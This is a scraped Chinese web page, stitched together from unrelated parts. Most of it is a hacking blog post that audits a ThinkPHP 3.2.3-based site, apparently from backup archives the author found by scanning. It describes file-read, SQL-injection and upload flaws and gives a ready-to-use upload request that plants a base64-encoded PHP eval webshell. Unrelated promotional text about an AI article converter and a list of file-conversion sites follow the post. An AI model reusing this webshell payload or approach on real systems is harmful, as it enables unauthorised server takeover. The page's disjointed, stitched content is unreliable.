Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
迎搜索公眾號(hào):白帽子左一
每天分享更多黑客技能,工具及體系化視頻教程(免費(fèi)領(lǐng))
因?yàn)樽约阂恢痹趯W(xué)習(xí)用python編寫小工具,然后看到了一些文章關(guān)于掃描網(wǎng)站后臺(tái)備份文件的腳本
我就參照著寫了好久的腳本代碼,都是低效率代碼
然后勉強(qiáng)算是寫好了,運(yùn)行了一下
哎、查看結(jié)果還真掃出來(lái)了兩個(gè)包,還是有點(diǎn)用的
好了進(jìn)入正題:
解壓發(fā)現(xiàn),目錄有thinkphp,在tp的基礎(chǔ)上進(jìn)行的二次開發(fā),tp存在的漏洞肯定存在!
(因?yàn)橐恍┪募拿挚梢哉业皆撃0濉⑺源虼a了)
查看一下tp的版本:3.2.3
Tp3.2.3 可能存在緩存漏洞、sql注入漏洞,sql注入暫時(shí)放放,緩存漏洞看看有沒有。
參考一下:
https://www.bilibili.com/read/cv10345589?from=search
要存在漏洞的話,肯定需要調(diào)用tp框架的Cache::set方法,查找全局,看有沒有調(diào)用。可惜沒有調(diào)用,那就涼了。
一鍵開啟自動(dòng)審計(jì)!
趁著這個(gè)時(shí)間大致瀏覽了一下網(wǎng)站的結(jié)構(gòu),它沒有把全部功能寫到controller里面
沒有將index.php作為唯一的入口文件,可以訪問其他文件進(jìn)入其他控制器
它采用tp的URL_MODEL=0的模式,index.php對(duì)m傳參進(jìn)行清洗
網(wǎng)站如果訪問index.php默認(rèn)訪問Home模塊的index控制器。
而想進(jìn)入后臺(tái),則要找到入口文件××.php,它的m值為默認(rèn)Admin、進(jìn)入admin模塊。
所以要進(jìn)后臺(tái),如果××.php沒有改變的話,那么訪問××.php就可以了。
(一)、傻瓜式漏洞
明顯的任意文件讀取漏洞,而且出錯(cuò)可以報(bào)出網(wǎng)站根目錄。
這個(gè)找到敏感信息便可以讀取。
數(shù)據(jù)庫(kù)賬號(hào)密碼就來(lái)了~
(二)、后臺(tái)登錄sql注入
什么??直接拼接post的值,實(shí)錘sql注入,但是不能萬(wàn)能鑰匙登錄
因?yàn)闊o(wú)論如何都要驗(yàn)證加密了的password是否正確,幸運(yùn)的是這里可以用顯錯(cuò)注入
上sqlmap跑一下就可以了。
或者添加一個(gè)用戶,進(jìn)入后臺(tái)搞事情嘻嘻嘻。
這里暫時(shí)先不進(jìn)去,看看前臺(tái)有什么可以搞的。
(三)、前臺(tái)sql注入
一堆sql注入,我不一一驗(yàn)證了,各位大佬們肯定能一眼看出來(lái),比如以下:
都沒有過濾,而且又沒有使用tp的自帶函數(shù),那就涼了嘛。
(四)、前臺(tái)文件上傳漏洞
經(jīng)過不懈的努力,終于找到了一個(gè)文件上傳的漏洞,這道題有點(diǎn)像ctf,
看來(lái)還是要多做點(diǎn)ctf的題呀,多練練思維。
以下為漏洞代碼:
/**
* 公共上傳圖片方法
*/
public function Upload(){
$base64_image_content=I("post.img");
$image_name=I("post.name");
$len=I("post.size");
$baseLen=strlen($base64_image_content);
if($len!=$baseLen) $this->error("上傳圖片不完整");
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
$uploadFolder=C('UPLOADPATH').date("Ymd")."/";
if(!is_dir($uploadFolder)){
if(!mkdir($uploadFolder, 0755, true)){
$this->error('創(chuàng)建文件失敗');
}
}
$type=$result[2];
if(empty($image_name)){
$new_file=$uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
}else{
$new_file=$uploadFolder.$image_name."_".date("mdHis").".{$type}";
}
$img_64=base64_decode(str_replace($result[1], '', $base64_image_content));
if (file_put_contents($new_file,$img_64)){
$this->success(complete_url($new_file));
}
}else{
$this->error("圖片不存在");
}
}
}
由圖可知,代碼使用tp框架的函數(shù)I() 來(lái)獲取數(shù)據(jù),具有一定的安全性,它的函數(shù)實(shí)現(xiàn)了html實(shí)體轉(zhuǎn)化。
但是呢,這里他使用了base64的編碼進(jìn)行輸入,所以<>都可以生效。
接下來(lái)看一下滿足的條件:
1.Size的post傳參和$baseLen數(shù)據(jù)長(zhǎng)度一樣,也就是size就是img傳參的長(zhǎng)度。
2.preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)//只要輸入的img滿足data: image/jpg;base64, 就能匹配出三個(gè)結(jié)果:
3.是否存在目錄。(肯定有的~)
代碼往下走就是:$type=$result[2];
也就是說type是文件后綴,那讓result[2]=php不就完美了?
于是就有:data: image/php;base64
再接著這段代碼:
if(empty($image_name)){
$new_file=$uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
}else{
$new_file=$uploadFolder.$image_name."_".date("mdHis").".{$type}";
}
$img_64=base64_decode(str_replace($result[1], '', $base64_image_content));
if (file_put_contents($new_file,$img_64)){
$this->success(complete_url($new_file));
}
}else{
$this->error("圖片不存在");
}
判斷有無(wú)name傳參,有就拼接目錄、時(shí)間、和$type。其中type為后綴,那就OK,可以上傳php文件。
最后看一下file_put_contents兩個(gè)參數(shù),$new_file 為寫入的目錄文件,$img_64為寫入的內(nèi)容。內(nèi)容要是一句話木馬才行。
$img_64是先進(jìn)行替代操作str_replace($result[1], ‘’, $base64_image_content),再進(jìn)行base64解碼。
所以data: image/jpg;base64,之后的內(nèi)容是一句話木馬的base64的加密內(nèi)容就行。
具體name的傳參無(wú)關(guān)緊要,而size是要等于img的字符長(zhǎng)度,即可觸發(fā)文件上傳漏洞。
總結(jié)就是,該漏洞因?yàn)樘嘈派蟼鞯膇mg文件類型,而觸發(fā)文件上傳漏洞。
綜上可得到poc為:
img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==& &name=jpg&size=63
PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==是一句話木馬base加密的內(nèi)容。
其中,要連接一句話木馬就要知道時(shí)間戳。
本地復(fù)現(xiàn):
上傳的文件名是jpg_0430130105.php 文件名不難猜,月日時(shí)秒
嘗試實(shí)操:
url為:http://url/index.php?m=&c=indexAjax&a=upload
poc為:
img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==&name=jpg&size=63
上傳成功,看看效果:
成功。
菜刀就不連了!
開溜是不可能開溜的,后續(xù)我還會(huì)再嘗試一下這個(gè)審計(jì)一下,若有其他新奇的漏洞代碼,我再上傳。
心得體會(huì):
我自己通過學(xué)習(xí)了大約一星期的tp框架,才入門了這個(gè)審計(jì)
我覺得、不一定自己要有多懂代碼、不一定要非得自己寫一個(gè)網(wǎng)站
但是框架里面的應(yīng)用包括內(nèi)置函數(shù)這些一定要懂!
這就像一個(gè)手機(jī)app一樣,基本的操作方法會(huì)了之后,你就可以找出這個(gè)app有哪些小bug。
但是像大佬一樣,審計(jì)框架里的內(nèi)容,那可能還有很遠(yuǎn)的路要走,一起加油吧!
什么選擇轉(zhuǎn)換AI文章網(wǎng)站?
轉(zhuǎn)換AI文章網(wǎng)站是一個(gè)方便快捷的工具,可以幫助用戶將文本內(nèi)容轉(zhuǎn)換為符合要求的格式。無(wú)論是寫作、翻譯還是編輯,轉(zhuǎn)換AI文章網(wǎng)站都能夠提供高效的服務(wù)。它不僅簡(jiǎn)化了繁瑣的排版過程,還能夠提高工作效率。
如何使用轉(zhuǎn)換AI文章網(wǎng)站?
使用轉(zhuǎn)換AI文章網(wǎng)站非常簡(jiǎn)單。首先,用戶只需訪問該網(wǎng)站,并將需要轉(zhuǎn)換的文本粘貼到指定區(qū)域。接下來(lái),用戶可以根據(jù)需要選擇不同的格式選項(xiàng),例如標(biāo)題樣式、字體大小、段落間距等。最后,點(diǎn)擊“轉(zhuǎn)換”按鈕即可獲得符合要求的格式化文本。
轉(zhuǎn)換AI文章網(wǎng)站有哪些功能?
1.自定義樣式:用戶可以根據(jù)自己的需求選擇不同的樣式選項(xiàng),包括字體、顏色、對(duì)齊方式等,以使文章更具個(gè)性化。
2.多語(yǔ)言支持:轉(zhuǎn)換AI文章網(wǎng)站不僅支持中文,還支持多種其他語(yǔ)言的文本轉(zhuǎn)換,滿足不同用戶的需求。
3.快速轉(zhuǎn)換:轉(zhuǎn)換AI文章網(wǎng)站提供快速轉(zhuǎn)換功能,無(wú)需等待很長(zhǎng)時(shí)間即可獲得轉(zhuǎn)換后的結(jié)果,節(jié)省用戶的時(shí)間。
4.格式自動(dòng)調(diào)整:無(wú)論用戶輸入的原始文本是什么樣式,轉(zhuǎn)換AI文章網(wǎng)站都能夠自動(dòng)調(diào)整格式,并確保轉(zhuǎn)換后的文本符合要求。
5.導(dǎo)出選項(xiàng):用戶可以選擇將轉(zhuǎn)換后的文本導(dǎo)出為HTML、PDF或純文本格式,以便在不同場(chǎng)景下使用。
6.免費(fèi)使用:轉(zhuǎn)換AI文章網(wǎng)站是免費(fèi)的,用戶無(wú)需支付任何費(fèi)用即可享受到高質(zhì)量的轉(zhuǎn)換服務(wù)。
有關(guān)隱私和數(shù)據(jù)安全問題
對(duì)于用戶關(guān)心的隱私和數(shù)據(jù)安全問題,轉(zhuǎn)換AI文章網(wǎng)站采取了一系列措施來(lái)保護(hù)用戶的個(gè)人信息和數(shù)據(jù)。所有用戶上傳的文本將在轉(zhuǎn)換完成后立即刪除,不會(huì)被用于其他目的或與第三方分享。同時(shí),該網(wǎng)站也采用了嚴(yán)格的安全措施來(lái)保護(hù)服務(wù)器和用戶數(shù)據(jù)的安全。
如何聯(lián)系轉(zhuǎn)換AI文章網(wǎng)站的技術(shù)支持?
如果您在使用轉(zhuǎn)換AI文章網(wǎng)站的過程中遇到任何問題或有任何建議,您可以通過網(wǎng)站上提供的聯(lián)系方式與我們的技術(shù)支持團(tuán)隊(duì)取得聯(lián)系。我們將竭誠(chéng)為您解答問題并提供幫助。
通過轉(zhuǎn)換AI文章網(wǎng)站,您可以輕松、快捷地將文本內(nèi)容轉(zhuǎn)換為符合要求的格式。無(wú)論是寫作還是編輯,它都能夠幫助您提高工作效率,使您的文章更加專業(yè)和吸引人。趕快體驗(yàn)一下吧!
參考資料:
1.轉(zhuǎn)換AI文章網(wǎng)站官方網(wǎng)站:。
家在辦工過程中是否會(huì)存在格式轉(zhuǎn)換的需求,之前也聊過對(duì)PDF格式文件的編輯與轉(zhuǎn)換,但在工作中肯定會(huì)需要轉(zhuǎn)換不同格式的文檔、圖片、音頻等文件。可一般公司的電腦上也不方便下載專門的軟件進(jìn)行轉(zhuǎn)因此介紹以下幾個(gè)在線格式轉(zhuǎn)換網(wǎng)站,不需要自己另外安裝轉(zhuǎn)換軟件,也不需要對(duì)電腦配置嚴(yán)格要求,一個(gè)網(wǎng)站就可以滿足基本的工作需要。
1、Convertio
Convertio 基于瀏覽器并支持所有平臺(tái),無(wú)需下載與安裝任何軟件,同時(shí)支持超過 300 種不同的文件格式間超過 25600 種不同的轉(zhuǎn)換方式。在操作上只需將文件拖放至頁(yè)面,選擇輸出格式并點(diǎn)擊“轉(zhuǎn)換”按鈕即可。一般在一到兩分鐘就可以完成轉(zhuǎn)換。同時(shí)這個(gè)網(wǎng)站支持OCR功能,但超過超過10頁(yè)的OCR任務(wù)就需要開通會(huì)員付費(fèi)使用了。
2、Cloudconvert
超全的在線格式轉(zhuǎn)換網(wǎng)站,支持幾乎任何音頻、視頻、文檔、電子書、圖像、電子表格或演示文稿格式。界面雖然是英文,操作起來(lái)卻并不復(fù)雜,但是網(wǎng)頁(yè)有時(shí)會(huì)打不開。另外在使用時(shí)也不擔(dān)心內(nèi)容泄露,網(wǎng)站官方會(huì)保證數(shù)據(jù)安全。
3、ALL To ALL
支持約200多種格式的文件轉(zhuǎn)換,包括:視頻、音頻、圖片、字體等多媒體文件,以及常見的office文件、PDF、電子書等文檔。最大可支持10M的文件,適合簡(jiǎn)單的文件格式轉(zhuǎn)換工作。
4、office converter
Office-converser同樣也是一個(gè)在線格式轉(zhuǎn)換網(wǎng)站,里面能夠轉(zhuǎn)換文檔、圖片、音樂、視頻,甚至提供Youtube視頻下載、在線二維碼生成等多樣的功能。但是相比其他轉(zhuǎn)換網(wǎng)站,非會(huì)員用戶支持文檔文件只有3M,視頻文件50M,大文件轉(zhuǎn)換就無(wú)法免費(fèi)了。
5、轉(zhuǎn)轉(zhuǎn)大師
轉(zhuǎn)轉(zhuǎn)大師雖然沒有其他幾個(gè)支持那么多格式轉(zhuǎn)換,但在PDF格式轉(zhuǎn)換上還是不錯(cuò)的,它提供PDF與WORD、EXCEL、HTML、CAD等之間的轉(zhuǎn)換,同時(shí)也有簡(jiǎn)單的PDF編輯功能。如果不開通會(huì)員,上傳文件的大小同樣僅限于30M,所以如果是更大的文件,就需要考慮其他轉(zhuǎn)換工具了。
在線格式轉(zhuǎn)換網(wǎng)站雖然方便,但是在免費(fèi)使用的前提下,基本上只支持10M以內(nèi)的小文件,能夠滿足日常使用。但是如果需要批量處理的大文件格式轉(zhuǎn)換,就需要用到專門的格式轉(zhuǎn)換軟件,這個(gè)先挖個(gè)坑,留到下次說,有興趣可以持續(xù)關(guān)注。
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。